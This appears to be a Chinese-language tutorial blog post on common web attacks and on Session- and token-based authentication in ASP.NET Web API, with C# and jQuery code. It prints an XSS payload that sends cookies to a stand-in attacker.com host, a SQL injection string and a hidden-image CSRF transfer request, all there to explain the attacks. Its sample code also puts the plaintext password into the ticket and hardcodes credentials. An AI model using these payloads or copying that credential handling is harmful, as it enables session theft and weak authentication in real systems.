第八节:常见安全隐患和传统的基于Session和Token的安全校验
一. 常見的安全隱患
?1. SQL注入
?常見的案例:
String query = "SELECT * FROM T_User WHERE userID='" + Request["userID"] + "';這個時候,只需要在傳遞過來的userID后面加上個: or 1=1,即可以獲取T_User表中的所有數(shù)據(jù)了。
解決方案:參數(shù)化查詢。
2. 跨站腳本攻擊(Cross-Site Scripting (XSS))
允許跨站腳本是Web 2.0時代網(wǎng)站最普遍的問題。如果網(wǎng)站沒有對用戶提交的數(shù)據(jù)加以驗證而直接輸出至網(wǎng)頁,那么惡意用戶就可以在網(wǎng)頁中注入腳本來竊取用戶數(shù)據(jù)。
eg:通過后臺代碼編寫前端代碼進行輸出
1 string page += "<input name='userName' type='TEXT' value='" + request.getParameter("CC") + "'>";攻擊者只要輸入以下數(shù)據(jù):
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'當(dāng)該數(shù)據(jù)被輸出到頁面的時候,每個訪問該頁面的用戶cookie就自動被提交到了攻擊者定義好的網(wǎng)站。
解決方案:輸入的數(shù)據(jù)要進行安全校驗和轉(zhuǎn)義
3.跨站請求偽造(Cross-Site Request Forgery (CSRF) )
同樣是跨站請求,這種與上面XSS的不同之處在于這個請求是從釣魚網(wǎng)站上發(fā)起的。
比如釣魚網(wǎng)站包含了下面代碼:
<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />這行代碼的作用就是一個在example.com網(wǎng)站的轉(zhuǎn)帳請求,客戶訪問釣魚網(wǎng)站時,如果也同時登錄了example.com或者保留了example.com的登錄狀態(tài),那個相應(yīng)的隱藏請求就會被成功執(zhí)行。
解決方案:
使用Token校驗,保存好Token,比如:JWT校驗。
?
二. 兩類系統(tǒng)要解決的常見問題
1. Web系統(tǒng)
(1).是否登錄. 沒有登錄話是不能進入登錄以外的頁面,即使訪問,也要返回到自動進入登錄頁面。
(2).是否有權(quán)限. 權(quán)限的展現(xiàn)分兩種:a. 沒有權(quán)限的話直接不顯示. b. 沒有權(quán)限但是顯示,單擊的時候提示沒有權(quán)限。
2.APP接口
(1).接口安全,不是任何人都能訪問的,必須登錄后才能訪問,當(dāng)然也有一部分不需要登錄。
(2).防止接口被知道參數(shù)后任何能直接訪問,要有校驗,即使地址暴露別人也訪問不通。
?
三. 傳統(tǒng)的基于Session的校驗
1. 前言
基于Session的校驗,通常是用在管理系統(tǒng)中或者網(wǎng)站上,不適用于APP接口或者前后端分離的項目。
PS:復(fù)習(xí)一下Session的原理:https://www.cnblogs.com/yaopengfei/p/8057176.html
2. 步驟
①:登錄成功,將用戶信息(一個實體)和該用戶對應(yīng)的權(quán)限信息存放到Session中。
②:對所有的頁面的展示的地址(前提需要登錄后才能顯示的),加上一個過濾器,在過濾器中判斷該用戶是否登錄過,沒有登錄的話直接退回到登錄頁面。
③:對所有的業(yè)務(wù)操作的方法加上一個過濾器,在過濾器中判斷該用戶是否該權(quán)限,沒有的話,直接提示沒有權(quán)限。
注:以上②和③中的過濾器里,都需要到Session中取值。
3. 基于Session驗證的弊端
①:Session經(jīng)常過期回收,導(dǎo)致Session為空,是一些業(yè)務(wù)操作莫名其妙的沒法使用。可以改進為使用數(shù)據(jù)庫的Session,會好很多。
②:由于Session的原理可知,在同一個瀏覽器中,先后用不同賬號登錄,先登錄的賬號Session中的信息會被后登陸賬號Session中的信息覆蓋。
③:每個用戶登錄一次,就需要往Session做一次記錄,而Session默認(rèn)是保存在服務(wù)器內(nèi)存中的,隨著認(rèn)證的用戶增多,服務(wù)器端開銷明顯增大。
④:不能進行負載均衡,保存在內(nèi)存中,下次還需要到這臺服務(wù)器上才能拿到授權(quán)。
⑤:Session是基于Cookie,如果Cookie被截獲,用戶很容易受到跨站請求偽造攻擊(CSRF)。
?
四. 傳統(tǒng)的基于Token的校驗
1. 背景
APP項目或者其它前后端分離的項目,Session驗證用不了,只能用基于token的驗證。當(dāng)然Web項目也可以采用這種方式。
2. 步驟
①:通過賬號和密碼登錄成功,服務(wù)端生成一個token(比如:32位不重復(fù)的隨機字符串)。
②:服務(wù)端把該token和用戶id保存到數(shù)據(jù)庫(SQLServer或Redis)或者Session中,然后把token值返回給前端。
③:客戶端每次請求都帶上該token,服務(wù)端根據(jù)該token來查詢是否合法和過期,然后去數(shù)據(jù)庫中查出來用戶id進行使用。
3. 弊端
①:驗證信息如果存在數(shù)據(jù)庫中,每次都要根據(jù)token查用戶id,增加了數(shù)據(jù)庫的開銷。
②:驗證信息如果存在Session中,則增大了服務(wù)器端存儲的壓力。
③:token一旦被截取,就很容易進行跨站請求偽造。
4. 鑒于以上弊端進行思考
①:如果token遵從一定規(guī)律,使用對稱加密算法來加密用戶id生成token,服務(wù)器端只要解密該token,就能知道用戶id了,不需要額外的開銷。?但是,如果對稱加密算法泄露了,別人也可以偽造token了。
②:如果我們用非對稱加密算法來做呢,保存好秘鑰,就不存在上面的問題了,從而引出JWT類似于該原理。
5. 實戰(zhàn)案例(基于Token的小升級)
A. 步驟
(1) 登錄成功,將賬號和密碼按照一定格式進行拼接成字符串,然后進行票據(jù)加密(對稱加密,這其中可以設(shè)置很多東西,比如過期時間),將生成的ticket返回給客戶端。
(2) 客戶端可以把該ticket值存到localstorage中,每次請求在表頭進行附加。
(3) 服務(wù)器端寫一個過濾器,對該ticket進行解密,拿到賬號和密碼,去數(shù)據(jù)庫中查詢,是否匹配,如果匹配則驗證通過。
B. 深度分析
同樣存在被截取的問題,加密算法如果被人知道,容易被偽造
服務(wù)器端驗證:見CheckPer0.cs
C. 代碼分享
(1). 服務(wù)器端校驗登錄的代碼
1 /// <summary>2 /// 模擬登陸3 /// </summary>4 /// <param name="userAccount"></param>5 /// <param name="pwd"></param>6 /// <returns></returns>7 [HttpGet]8 public string Login0(string userAccount, string pwd)9 { 10 //這里實際應(yīng)該去數(shù)據(jù)庫驗證,此處暫時用固定值寫死 11 if (userAccount == "admin" && pwd == "123456") 12 { 13 FormsAuthenticationTicket ticketObject = new FormsAuthenticationTicket(0, userAccount, DateTime.Now, DateTime.Now.AddHours(1), true, $"{userAccount}&{pwd}", FormsAuthentication.FormsCookiePath); 14 var result = new { result = "ok", ticket = FormsAuthentication.Encrypt(ticketObject) }; 15 return JsonConvert.SerializeObject(result); 16 } 17 else 18 { 19 var result = new { result = "error" }; 20 return JsonConvert.SerializeObject(result); 21 } 22 }(2). 客戶端調(diào)用登錄的代碼
獲取成功,將token值存放到localStorage中。
1 $.get("/api/Seventh/Login0", { userAccount: "admin", pwd: "123456" }, function (data) {2 var jsonData = JSON.parse(data);3 if (jsonData.result == "ok") {4 console.log(jsonData.ticket);5 //存放到本地緩存中6 window.localStorage.setItem("myTicket", jsonData.ticket);7 alert("登錄成功,ticket=" + jsonData.ticket);8 } else {9 alert("登錄失敗"); 10 } 11 });(3). 服務(wù)器端過濾器代碼
該過濾器中通過?actionContext.Request.Headers.Authorization 獲取固定的參數(shù)位:Authorization,然后通過?authorizationModel.Parameter 獲取參數(shù)值,前端需要分割一下,如下:
當(dāng)然還有很多別的賦值和獲取的方式,詳細的見下面章節(jié)。
1 /// <summary>2 /// 基于token的小升級3 /// 過濾器4 /// </summary>5 public class CheckPer0 : AuthorizeAttribute6 {7 public override void OnAuthorization(HttpActionContext actionContext)8 {9 //1. 獲取報文頭(固定的參數(shù)位 Authorization) 10 var authorizationModel = actionContext.Request.Headers.Authorization; 11 //2. 如果標(biāo)注了[AllowAnonymous]特性,則不進行驗證 12 if (actionContext.ActionDescriptor.GetCustomAttributes<AllowAnonymousAttribute>(true).Count != 0 13 || actionContext.ActionDescriptor.ControllerDescriptor.GetCustomAttributes<AllowAnonymousAttribute>(true).Count != 0) 14 { 15 //base.OnAuthorization(actionContext); 16 } 17 else if (authorizationModel != null && authorizationModel.Parameter != null) 18 { 19 try 20 { 21 //邏輯驗證 22 //解密 23 var strTicket = FormsAuthentication.Decrypt(authorizationModel.Parameter).UserData; 24 //此處應(yīng)該去數(shù)據(jù)庫驗證 25 if (strTicket.Equals("admin&123456")) 26 { 27 //表示校驗通過,用于向控制器中傳值 28 actionContext.RequestContext.RouteData.Values.Add("auth", strTicket); 29 } 30 else 31 { 32 base.HandleUnauthorizedRequest(actionContext);//返回沒有授權(quán) 33 } 34 } 35 catch (Exception) 36 { 37 38 base.HandleUnauthorizedRequest(actionContext);//返回沒有授權(quán) 39 } 40 } 41 } 42 }(4). 服務(wù)器端加密后獲取信息的代碼
1 /// <summary>2 /// 加密后獲取信息3 /// </summary>4 /// <returns></returns>5 [HttpGet]6 [CheckPer0]7 public string GetInfor0()8 {9 var userData = RequestContext.RouteData.Values["auth"].ToString(); 10 if (string.IsNullOrEmpty(userData)) 11 { 12 var result = new { Message = "error", data = "" }; 13 return JsonConvert.SerializeObject(result); 14 } 15 else 16 { 17 var result = new { Message = "ok", data = userData }; 18 return JsonConvert.SerializeObject(result); 19 } 20 }(5). 客戶端調(diào)用獲取信息的代碼
1 //從本地緩存中讀取token值2 var myTicket = window.localStorage.getItem("myTicket");3 $.ajax({4 url: "/api/Seventh/GetInfor0",5 type: "Get",6 data: {},7 datatype: "json",8 beforeSend: function (xhr) {9 //Authorization 是一個固定的參數(shù)位置,本來就有這個參數(shù),后臺方便獲取,當(dāng)然也可以自己命名 10 //在myTicket前面加個BasicAuth1 只是為了后臺.Parameter能獲取到而已,至于叫什么名,沒有關(guān)系 11 xhr.setRequestHeader("Authorization", 'BasicAuth1 ' + myTicket) 12 }, 13 success: function (data) { 14 console.log(data); 15 alert(data); 16 }, 17 //當(dāng)安全校驗未通過的時候進入這里 18 error: function (xhr) { 19 if (xhr.status == 401) { 20 console.log(xhr.responseText); 21 alert("授權(quán)未通過"); 22 } 23 } 24 });(6). 運行結(jié)果
?
總結(jié)
以上是生活随笔為你收集整理的第八节:常见安全隐患和传统的基于Session和Token的安全校验的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: GPU暴增67%!苹果M2性能跑分曝光:
- 下一篇: 新晋舅舅党再放猛料 《FF7RE》要上X